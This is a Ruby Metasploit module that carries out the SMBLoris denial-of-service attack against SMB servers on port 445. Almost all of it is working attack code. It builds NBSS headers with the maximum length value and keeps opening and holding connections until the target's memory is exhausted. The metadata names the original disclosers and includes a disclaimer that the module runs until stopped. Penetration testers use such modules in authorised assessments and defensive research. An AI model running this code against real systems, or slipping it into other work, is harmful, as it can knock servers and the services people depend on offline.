#!/usr/bin/env ruby

require 'socket'
require 'metasploit'

require 'bindata'

class NbssHeader < BinData::Record
  endian  :little
  uint8   :message_type
  bit7    :flags
  bit17   :message_length
end

metadata = {
  name: 'SMBLoris NBSS Denial of Service',
  description: %q{
    The SMBLoris attack consumes large chunks of memory in the target by sending
    SMB requests with the NetBios Session Service(NBSS) Length Header value set
    to the maximum possible value. By keeping these connections open and initiating
    large numbers of these sessions, the memory does not get freed, and the server
    grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
    and Zach Harding.

    DISCALIMER: This module opens a lot of simultaneous connections. Please check
    your system's ULIMIT to make sure it can handle it. This module will also run
    continuously until stopped.
  },
  authors: [
      'thelightcosine',
      'Adam Cammack <adam_cammack[at]rapid7.com>'
  ],
  date: '2017-06-29',
  references: [
    { type: 'url', ref: 'https://web.archive.org/web/20170804072329/https://smbloris.com/' },
    { type: 'aka', ref: 'SMBLoris'}
  ],
  type: 'dos',
  options: {
    rhost: {type: 'address', description: 'The target address', required: true, default: nil},
    rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},
  }
}

def run(args)
  header = NbssHeader.new
  header.message_length = 0x01FFFF

  last_reported = 0
  warned = false
  n_loops = 0
  sockets = []

  target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)

  Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "

  while true do
    begin
      sockets.delete_if do |s|
        s.closed?
      end

      nsock = target.connect(timeout: 360)
      nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
      nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
      nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
      nsock.setsockopt(Socket::Option.linger(true, 60))
      nsock.write(header.to_binary_s)
      sockets << nsock

      n_loops += 1
      if  last_reported != sockets.length
        if n_loops % 100 == 0
          last_reported = sockets.length
          Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
        end
      elsif n_loops % 1000 == 0
        Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
      end
    rescue Interrupt
      break
      sockets.each &:close
    rescue Errno::EMFILE
      Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned
      warned = true
      sockets.slice(0).close
    rescue Exception => e
      Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
    end
  end
end

if __FILE__ == $PROGRAM_NAME
  Metasploit.run(metadata, method(:run))
end
